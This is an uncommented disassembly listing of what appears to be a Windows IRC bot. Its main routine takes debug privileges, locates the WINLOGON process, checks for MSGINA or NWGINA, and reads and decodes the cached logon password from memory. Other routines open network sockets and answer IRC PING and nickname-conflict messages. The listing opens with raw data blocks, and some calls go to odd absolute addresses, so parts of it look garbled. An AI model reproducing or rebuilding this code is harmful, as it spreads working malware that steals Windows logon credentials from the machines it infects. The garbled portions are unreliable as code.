		dd 9CEC81ECh, 8B000004h, 56530845h, 0A7B957h, 0F08B0000h
		dd 0FD64BD8Dh, 0A5F3FFFFh, 29880C7h, 10000h, 858D0000h
		dd 0FFFFFEECh, 42FEE850h, 0DB330000h, 0EB05BC80h, 5CFFFFFEh
		dd 8D147559h, 0FFFEEC85h, 0E5E850FFh, 59000042h, 0EB059C88h
		dd 8DFFFFFEh, 0FFFDE885h, 0DC6850FFh, 8D00437Fh, 0FFFB6485h
		dd 20068FFh, 0E8500000h, 4C60h,	3910C483h, 2075F85Dh, 64858D53h
		dd 0FFFFFFFBh, 8D50F475h, 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h
		dd 0FF2D2EE8h, 14C483FFh, 0FEEC858Dh, 5053FFFFh, 0FDE8858Dh
		dd 8D50FFFFh, 0FFFD6885h, 0F475FFFFh, 64B5FF50h, 0E8FFFFFDh
		dd 5Dh,	5018C483h, 0FB64858Dh, 0BC68FFFFh, 5000437Fh, 4B05E8h
		dd 0CC48300h, 75F85D39h, 858D5320h, 0FFFFFB64h,	50F475FFh
		dd 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h, 2CCDE8FFh, 0C483FFFFh
		dd 64858D14h, 50FFFFFBh, 0FFE3F8E8h, 0F075FFFFh, 0FF4656E8h
		dd 535959FFh, 9AF9E890h, 5E5F022Dh, 0EC8B555Bh,	54CEC81h
		dd 56530000h, 104BE57h,	75FF0000h, 0B8858D18h, 68FFFFFDh
		dd 438020h, 91E85056h, 8B00004Bh, 4270003Dh, 10C48300h
		dd 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh, 89FFF883h
		dd 0C4BBFC45h, 7400429Ah, 0BC85F671h, 10FFFFFEh, 0BD805474h
		dd 0FFFFFEE8h, 8012752Eh, 0FFFEE9BDh, 427400FFh, 0FEE9BD80h
		dd 742EFFFFh, 0E8858D39h, 50FFFFFEh, 0FCB4858Dh, 75FFFFFFh
		dd 50565318h, 4B2FE8h, 1C75FF00h, 0FCB4858Dh, 0FF50FFFFh
		dd 75FF1475h, 0C75FF10h, 0E80875FFh, 0FFFFFF5Dh, 892CC483h
		dd 858D1C45h, 0FFFFFEBCh, 0FC75FF50h, 35917FE8h, 0C0859002h
		dd 75FF8F75h, 964EE8FCh, 0FF900233h, 858D1475h,	0FFFFFDB8h
		dd 531875FFh, 0DDE85056h, 8300004Ah, 858D14C4h,	0FFFFFEBCh
		dd 0B8858D50h, 50FFFFFDh, 0F08BD7FFh, 74FFFE83h, 0E8858D4Fh
		dd 0FFFFFFFEh, 8D501C45h, 0FFFAB485h, 1875FFFFh, 43800468h
		dd 2006800h, 0E8500000h, 4AA0h,	858D016Ah, 0FFFFFAB4h
		dd 501075FFh, 0FF0C75FFh, 7CE80875h, 83FFFF2Bh,	858D28C4h
		dd 0FFFFFEBCh, 0E8905650h, 23590F8h, 0B175C085h, 0C9E89056h
		dd 8B023395h, 5E5F1C45h
; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1B	proc near		; DATA XREF: sub_401ACD+1CD0o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F5
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F5A
		cmp	eax, 2
		jz	short loc_416F5A
		push	offset unk_4381F8
		jmp	loc_417099
; ---------------------------------------------------------------------------


loc_416F5A:				; CODE XREF: sub_416F1B+2Ej
					; sub_416F1B+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417094
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26D0000h
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D44CC, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D44C0, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D46D0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D44C8, eax
		call	esi
		mov	dword_4D44C4, eax
		call	sub_4170ED
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417067
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D34C0
		push	edi
		push	ebx
		push	offset off_438134
		call	esi
		push	edi
		mov	edi, offset dword_4D3CC0
		push	edi
		push	offset off_43811C
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D46D8
		push	[ebp+arg_0]
		jnz	short loc_417013
		call	sub_417276
		jmp	short loc_417018
; ---------------------------------------------------------------------------


loc_417013:				; CODE XREF: sub_416F1B+EFj
		call	sub_41741D


loc_417018:				; CODE XREF: sub_416F1B+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417060
		cmp	dword_4D46D8, 0
		jnz	short loc_417047
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_4380C0
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_41707A
; ---------------------------------------------------------------------------


loc_417047:				; CODE XREF: sub_416F1B+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417057
		call	sub_417553
		jmp	short loc_41705C
; ---------------------------------------------------------------------------


loc_417057:				; CODE XREF: sub_416F1B+133j
		call	sub_4175EA


loc_41705C:				; CODE XREF: sub_416F1B+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706C
; ---------------------------------------------------------------------------


loc_417060:				; CODE XREF: sub_416F1B+101j
		push	offset unk_438088
		jmp	short loc_41706C
; ---------------------------------------------------------------------------


loc_417067:				; CODE XREF: sub_416F1B+B6j
		push	offset unk_43805C


loc_41706C:				; CODE XREF: sub_416F1B+143j
					; sub_416F1B+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41707A:				; CODE XREF: sub_416F1B+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 27A03D6h
		pop	ebx
		jmp	short loc_4170A7
; ---------------------------------------------------------------------------


loc_417094:				; CODE XREF: sub_416F1B+4Ej
		push	offset unk_438028


loc_417099:				; CODE XREF: sub_416F1B+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4170A7:				; CODE XREF: sub_416F1B+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CE
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A73
		add	esp, 14h


loc_4170CE:				; CODE XREF: sub_416F1B+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AD
		push	[ebp+var_18]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F08BFh
		pop	edi
		pop	esi
sub_416F1B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170ED	proc near		; CODE XREF: sub_416F1B+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D44CC
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27B0000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D44CC
		test	eax, eax
		jnz	short loc_4171DA
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171DA
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171DA


loc_417176:				; CODE XREF: sub_4170ED+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CD
		push	0
		push	0
		call	dword_4D44C0
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D46D0
		test	eax, eax
		jnz	short loc_4171BE
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F2


loc_4171BE:				; CODE XREF: sub_4170ED+AAj
		test	edi, edi
		jz	short loc_4171C9
		push	edi
		call	dword_4D44C8


loc_4171C9:				; CODE XREF: sub_4170ED+D3j
		mov	eax, [esp+28h+var_10]


loc_4171CD:				; CODE XREF: sub_4170ED+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417176


loc_4171DA:				; CODE XREF: sub_4170ED+6Dj
					; sub_4170ED+7Aj ...
		xor	edi, edi


loc_4171DC:				; CODE XREF: sub_4170ED+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27B0000h
		nop
		mov	eax, edi


loc_4171EA:				; CODE XREF: sub_4170ED+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4171F2:				; CODE XREF: sub_4170ED+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725B
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417208:				; CODE XREF: sub_4170ED+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726F
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724D
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41724D:				; CODE XREF: sub_4170ED+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417208


loc_41725B:				; CODE XREF: sub_4170ED+10Fj
		test	edi, edi
		jz	short loc_417266
		push	edi
		call	dword_4D44C8


loc_417266:				; CODE XREF: sub_4170ED+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DC
; ---------------------------------------------------------------------------


loc_41726F:				; CODE XREF: sub_4170ED+13Cj
		xor	eax, eax
		jmp	loc_4171EA
sub_4170ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417276	proc near		; CODE XREF: sub_416F1B+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 26A02EDh
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729F
		xor	eax, eax
		jmp	loc_41741A
; ---------------------------------------------------------------------------


loc_41729F:				; CODE XREF: sub_417276+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27D02E4h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EF
		xor	esi, esi
		jmp	loc_41740D
; ---------------------------------------------------------------------------


loc_4172EF:				; CODE XREF: sub_417276+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 27C0CF2h
		test	eax, eax
		jz	loc_4173FC
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FC
		test	[ebp+var_2B], 1
		jnz	loc_4173FC
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FC


loc_417352:				; CODE XREF: sub_417276+112j
		push	edi
		push	offset dword_4D34C0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41737A
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D3CC0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41738A


loc_41737A:				; CODE XREF: sub_417276+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FC
		jmp	short loc_417352
; ---------------------------------------------------------------------------


loc_41738A:				; CODE XREF: sub_417276+102j
		test	edi, edi
		jz	short loc_4173FC
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	near ptr 27606A6h
		nop
		test	eax, eax
		jz	short loc_4173C5
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 2760000h
		test	eax, eax
		jz	short loc_4173C5
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4173C5:				; CODE XREF: sub_417276+12Bj
					; sub_417276+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D46E4, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D46DC, eax
		mov	dword_4D46E0, edi


loc_4173FC:				; CODE XREF: sub_417276+90j
					; sub_417276+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	esi, [ebp+var_10]


loc_41740D:				; CODE XREF: sub_417276+74j
		push	[ebp+var_4]
		call	near ptr 2680920h
		nop
		pop	edi
		mov	eax, esi
		pop	ebx


loc_41741A:				; CODE XREF: sub_417276+24j
		pop	esi
		leave
		retn
sub_417276	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741D	proc near		; CODE XREF: sub_416F1B:loc_417013p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 26A02EDh
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750F
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 27D02E4h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417506
		mov	edi, dword_427148


loc_417468:				; CODE XREF: sub_41741D+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 27C0CF2h
		nop
		test	eax, eax
		jz	short loc_4174F4
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174FA
		test	[ebp+var_13], 1
		jnz	short loc_4174FA
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27D0000h
		test	eax, eax
		jz	short loc_4174E6
		push	offset dword_4D34C0
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E6
		lea	eax, [esi+400h]
		push	offset dword_4D3CC0
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417516


loc_4174E6:				; CODE XREF: sub_41741D+9Fj
					; sub_41741D+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	near ptr 27B0000h
		nop
		jmp	short loc_4174FA
; ---------------------------------------------------------------------------


loc_4174F4:				; CODE XREF: sub_41741D+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4174FA:				; CODE XREF: sub_41741D+71j
					; sub_41741D+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417468


loc_417506:				; CODE XREF: sub_41741D+3Fj
		push	[ebp+arg_0]
		call	near ptr 2680920h
		nop


loc_41750F:				; CODE XREF: sub_41741D+1Ej
		xor	eax, eax


loc_417511:				; CODE XREF: sub_41741D+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417516:				; CODE XREF: sub_41741D+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D46DC, ebx
		mov	dword_4D46E0, eax
		cmp	[eax], cl
		jnz	short loc_417538
		cmp	[eax+1], cl
		jz	short loc_417540


loc_417538:				; CODE XREF: sub_41741D+114j
					; sub_41741D+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417538


loc_417540:				; CODE XREF: sub_41741D+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	near ptr 2680920h
		nop
		push	1
		pop	eax
		jmp	short loc_417511
sub_41741D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417553	proc near		; CODE XREF: sub_416F1B+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D46D8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	ecx, dword_4D46D8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D46E0
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D46E4
		push	eax
		call	dword_4D44C4
		push	[ebp+var_4]
		mov	edi, offset dword_4D44D0
		push	offset dword_4D34C0
		push	offset dword_4D3CC0
		push	[ebp+arg_0]
		push	offset dword_438244
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	near ptr 27B0000h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417553	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175EA	proc near		; CODE XREF: sub_416F1B:loc_417057p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D46D8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27C0C89h
		push	eax
		nop
		call	near ptr 27C0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D3CC0
		mov	edi, 200h
		mov	esi, offset dword_4D32C0


loc_417630:				; CODE XREF: sub_4175EA+FAj
		mov	eax, dword_4D46D8
		add	eax, eax
		push	eax
		push	dword_4D46E0
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D44C4
		mov	eax, dword_4D46D8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A5


loc_41766D:				; CODE XREF: sub_4175EA+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C2
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417691
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417691
		cmp	dl, 20h
		jnb	short loc_41768B
		and	[ebp+var_8], 0


loc_41768B:				; CODE XREF: sub_4175EA+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417695


loc_417691:				; CODE XREF: sub_4175EA+90j
					; sub_4175EA+96j
		and	[ebp+var_8], 0


loc_417695:				; CODE XREF: sub_4175EA+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766D
		cmp	[ebp+var_8], 0
		jz	short loc_4176C2


loc_4176A5:				; CODE XREF: sub_4175EA+81j
		push	[ebp+var_14]
		push	offset dword_4D34C0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438244
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176DA
; ---------------------------------------------------------------------------


loc_4176C2:				; CODE XREF: sub_4175EA+87j
					; sub_4175EA+B9j
		push	offset dword_4D34C0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438294
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h


loc_4176DA:				; CODE XREF: sub_4175EA+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_417630
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27C0C89h
		push	eax
		call	near ptr 27B0000h
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417703	proc near		; CODE XREF: sub_4178BB+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6D4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB654
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB694
		cmp	eax, esi
		jnz	short loc_417764
		push	[ebp+arg_0]
		call	dword_4CB6D8
		test	eax, eax
		jz	short loc_41777F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417764:				; CODE XREF: sub_417703+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5FC
		cmp	eax, esi
		jnz	short loc_417783
		push	edi
		call	dword_4CB6EC


loc_41777F:				; CODE XREF: sub_417703+1Bj
					; sub_417703+58j
		mov	eax, esi
		jmp	short loc_417785
; ---------------------------------------------------------------------------


loc_417783:				; CODE XREF: sub_417703+73j
		mov	eax, edi


loc_417785:				; CODE XREF: sub_417703+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417703	endp


; =============== S U B	R O U T	I N E =======================================



sub_417789	proc near		; CODE XREF: sub_401ACD+3295p
					; sub_401ACD+3301p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A0A0 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D46EC
		pop	ecx


loc_4177A1:				; CODE XREF: sub_417789+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BF
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BF
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CB6A4


loc_4177BF:				; CODE XREF: sub_417789+1Cj
					; sub_417789+21j
		add	esi, 210h
		cmp	esi, offset dword_4DAE0C
		jl	short loc_4177A1
		pop	edi
		pop	esi
		retn
sub_417789	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177D0	proc near		; CODE XREF: sub_4178BB+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42D124 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4177F5:				; CODE XREF: sub_4177D0+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F5
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781D
		cmp	esi, edi
		jnz	short loc_41781D
		push	1
		pop	eax
		jmp	loc_4178B6
; ---------------------------------------------------------------------------


loc_41781D:				; CODE XREF: sub_4177D0+3Fj
					; sub_4177D0+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417838
		push	offset dword_438EA4
		jmp	short loc_417886
; ---------------------------------------------------------------------------


loc_417838:				; CODE XREF: sub_4177D0+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417859
		push	esi
		push	offset dword_438EA0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B4


loc_417859:				; CODE XREF: sub_4177D0+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADE
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_438E94


loc_417886:				; CODE XREF: sub_4177D0+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
